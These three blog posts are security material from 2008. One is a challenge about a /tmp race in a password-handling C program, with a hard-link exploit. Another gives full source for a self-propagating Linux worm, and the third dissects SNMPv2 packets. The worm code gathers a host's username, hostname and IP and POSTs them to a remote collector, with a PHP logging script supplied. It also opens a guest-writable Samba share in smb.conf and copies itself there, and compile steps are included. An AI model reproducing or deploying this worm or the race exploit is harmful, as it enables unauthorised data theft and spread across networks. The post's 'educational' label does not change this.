marți, 4 martie 2008

Where is the bug?


Here is a simple proggy, and your mission is to find out the bug, and how someone could exploit it.





proggy.c

#include stdio.h
#include fcntl.h

int main(int argc, char* argv[])
{
FILE *fd;

void writing_pass_to_file(){
fd=fopen("/tmp/test","w");
fprintf(fd,argv[1]);
fclose(fd);
}

writing_pass_to_file();
sleep(5);


void some_crypting_here()
{
fd=fopen("/tmp/test","r");
printf("Doing some crypting now..\n");
sleep(5);
fclose(fd);
printf("Crypting done.\n");
}

some_crypting_here();

system("rm /tmp/test");
return 0;
}


About the proggy, let's say that in real world would be a piece of code responsable for some user/password management...It takes the password from command line and does some stuff with it like crypting...
What happens when the program is run in superuser mode?(In Linux)
I will post the simple solution later, when it will be enough responses.


Well, it seems that Vhaerun figured it out: http://rstzone.org/forum/where-is-the-bug-t10502.rst

Yes, you can exploit this using the ln command to create a link to the password file. One trick is to use the -f option (see man ln for more information), to "force" the removing of the destination file.

ln -f /tmp/test /tmp/test2

In my testings, the -s option, is not so usefull, because the removing action of the file, alters the link.

sâmbătă, 1 martie 2008

Experimental Linux worm

Today, in my bored state of mind, my thoughts stumbled upon the concept of a *nix worm. So, I decided to give it a try and some experimental stuff. I wanted my little project to be something simple and interesting in the same time.

The particularity that differentiates a worm from other types of malware is the fact that it can propagate in the wild. So, in our case, the propagation method will be the replication of the worm thru samba shares.
However the worm would need root access, to achieve this goal, I will not present the methods it could use to escalate his privileges.
Other feature that my experimental worm has, is the ability to send information about his host, like hostname and ip, to a remote site, using simple POST requests. This could be used by someone to track the worm's activity and spreading rate. It's improbable that these POST requests will be block, because of the highly permisive state regarding outgoing connections on port 80 on the most routers/firewalls.
In the code, you will notice, the use of libcurl library to make POST requests, the use of libc functions to get the information we want from the host, and some simple editing of the smb.conf file to make the /tmp/share directory available in the network.
(<> not shown for the librarys because of some stupid bug who considers what is between <> is a tag)


worm.c:
#include stdio.h
#include fcntl.h
#include unistd.h
#include curl/curl.h
#include sys/socket.h
#include netdb.h

int main()
{
FILE* fd;
CURL *curl;
CURLcode makeit;
struct hostent *he;
struct in_addr addr;
const char *ceva="\n[Test]\n\tcomment = teste\n\tpath = /tmp/share/\n;\twritable = yes\n;\tbrowseable= yes\n\tguest ok = yes\navailable = yes\nbrowsable = yes\npublic= yes\nwritable = yes";
char name[1000] = "user=";
char *user = getlogin();
char leg1[666]="&nume=";
char host[666];
gethostname(host,sizeof host);
char leg2[666]="&ip=";
he=gethostbyname(host);
strcat(name,user);
strcat(name,leg1);
strcat(name,host);
strcat(name,leg2);
strcat(name,inet_ntoa(*(struct in_addr*)he->h_addr));

curl = curl_easy_init();
if(curl){
curl_easy_setopt(curl,CURLOPT_URL,"http://192.168.0.103/post.php");
curl_easy_setopt(curl,CURLOPT_POSTFIELDS,name);
makeit = curl_easy_perform(curl);
curl_easy_cleanup(curl);
}

system("mkdir /tmp/share");
fd = fopen("/etc/samba/smb.conf","a");
fprintf(fd,ceva);
system("cp worm /tmp/share");
fclose(fd);
return 0;
}

If you want to replicate and experiment yourself, make sure you modify the variables values accordingly to your situation.(for example, the site's url)

To compile it:
gcc -lcurl -o worm worm.c

And, the small php script on the remote site:


$var1=$_POST['user'];
$var2=$_POST['nume'];
$var3=$_POST['ip'];
$sdf=fopen("log.txt","a");
fwrite($sdf,$var1);
fwrite($sdf,"\n");
fwrite($sdf,$var2);
fwrite($sdf,"\n");
fwrite($sdf,$var3);
fwrite($sdf,"\n");
fclose($sdf);

which will write the data in the chmoded 777 log.txt file.
This is only a Proof of Concept, and experimental stuff, and is made for educational purposes.

miercuri, 27 februarie 2008

Simple Network Management Protocol dissection


In the following lines I will present a Simple Network Management Protocol v2 "dissection". Thou the current SNMP version is 3, which brings many security enhancements, version 2 is still widely used, and besides that, is the version of the subjects I'm working with.

The SNMP arhitecture requires a management station to query and get the information, and an agent, to send the requested information. In my case, the management station will be AutoScan , which will discover and automatically query, snmp enabled devices. Also, there are other well known tools, like SNMP walk, Snmpcheck, Snmp enum, or Mib browser.

A snmp message consists of a version identifier, an snmp community name(which actually acts like a authentication mechanism, allowing read,read-write, or only write acces on snmp enabled devices), and a protocol data unit (PDU).

In conformation with RFC 1157, is mandatory that all implementations of SNMP support the five PDU's: GetRequest, GetNextRequest, GetResponse, SetRequest and Trap. I think that is clearly what each PDU does, the name says all, only one mention here: GetNextRequest will request the following variable (OBJECT IDENTIFIER) in lexicographical order. We will see a bit later, how an Oid looks like.

Now, let's see exactly how snmp is represented in rfc 1157, for a better "visualization":

RFC1157-SNMP DEFINITIONS ::= BEGIN

IMPORTS
ObjectName, ObjectSyntax, NetworkAddress, IpAddress, TimeTicks
FROM RFC1155-SMI;

-- top-level message

Message ::=
SEQUENCE {
version -- version-1 for this RFC
INTEGER {
version-1(0)
},

community -- community name
OCTET STRING,

data -- e.g., PDUs if trivial
ANY -- authentication is being used
}

-- protocol data units

PDUs ::=
CHOICE {
get-request
GetRequest-PDU,

get-next-request
GetNextRequest-PDU,

get-response
GetResponse-PDU,

set-request
SetRequest-PDU,

trap
Trap-PDU
}

-- the individual PDUs and commonly used
-- data types will be defined later

END

In our example, we will work with GetRequest, GetNextRequest, GetResponse.
So, I fire up Wireshark, set the filter on udp.port == 161, setup Autoscan, and start exploring the network.

GetRequest


We can observe in the packet the version, version-1, which coresponds to RFC 1157, with a value of 0, which is ok, because a value different from 0, means error.
Next follows the comunity name: public, the default value, which acts like a authentication mechanism, as I stated before, and travels the network in plain text. After all, Simple Network Management Protocol, was not designed with security in mind. Next, the error-status and the error-index show that everything is ok, and no error occured. About the request-id, I will talk a bit later.
Next, we can see that the snmp packet, is querying 4 Oid's: 1.3.6.1.2.1.2.2.1.10.393218, 1.3.6.1.2.1.2.2.1.16.393218,1.3.6.1.2.1.1.3.0, 1.3.6.1.2.1.1.5.0; while the first two variables are not standard they are formed with standard variables: 1.3.6.1.2.1.2.2.1.10 (IfInoctets-the total number of octets recived on the interface), and 1.3.6.1.2.1.2.2.1.16 (IfOutOctets-the total number of octets transmitted out of the interface); I think that this is a custom OID made by Autoscan Tool, you can register your own OID's here . The next two OID's represent SysUptime and sysName; basically we are asking for de device's uptime and his name.

GetNextRequest



We see here, how the management station sends a request after the 1.3.6.1.2.1.1.5 variable binding (Oid), which is sysName, meaning that the management station is querying to find out the name of the snmp enabled device. It's ok that the valueType is unSpecified, because the packet is not returning any value. And here is the response of the agent, returning the value:

GetResponse



Notice that the request id remains 1915072317 same, in the GetNextRequest packet and in the GetResponse packet. In the next GetNextRequest packet, querying for the next Oid, 1.3.6.1.2.1.1.1 (sysDescr), in our case, the request id will be incremented by one. (1915072318)
Something else to notice is that the packet returns the value of the Object Identifier requested, sysName, which is in our case, the octet string BOX.

A few example's of OID's:
  • 1.3.6.1.2.1.25.1.1.0 -> hrSystemUptime ;
  • 1.3.6.1.2.1.25.2.2.0 -> hrMemorySize ;
  • 1.3.6.1.2.1.4.1.0 -> IpForwarding;
  • 1.3.6.1.2.1.4.2.0 -> ipDefaultTTL;
  • 1.3.6.1.2.1.4.13.0 -> ipReasmTimeout;
  • 1.3.6.1.2.1.4.3.0 -> ipInReceives;
  • 1.3.6.1.2.1.4.10.0 -> ipOutRequests;
However I used Autoscan, to automate snmp request's, there are tools like snmpwalk to help you control the snmp request flow and search after specific OID's. It uses the freely avaible Net-SNMP library, and you could use it to make your own snmp tool, before you have in depth knowledge of the protocol.


Interesting sources avaible on the Internet: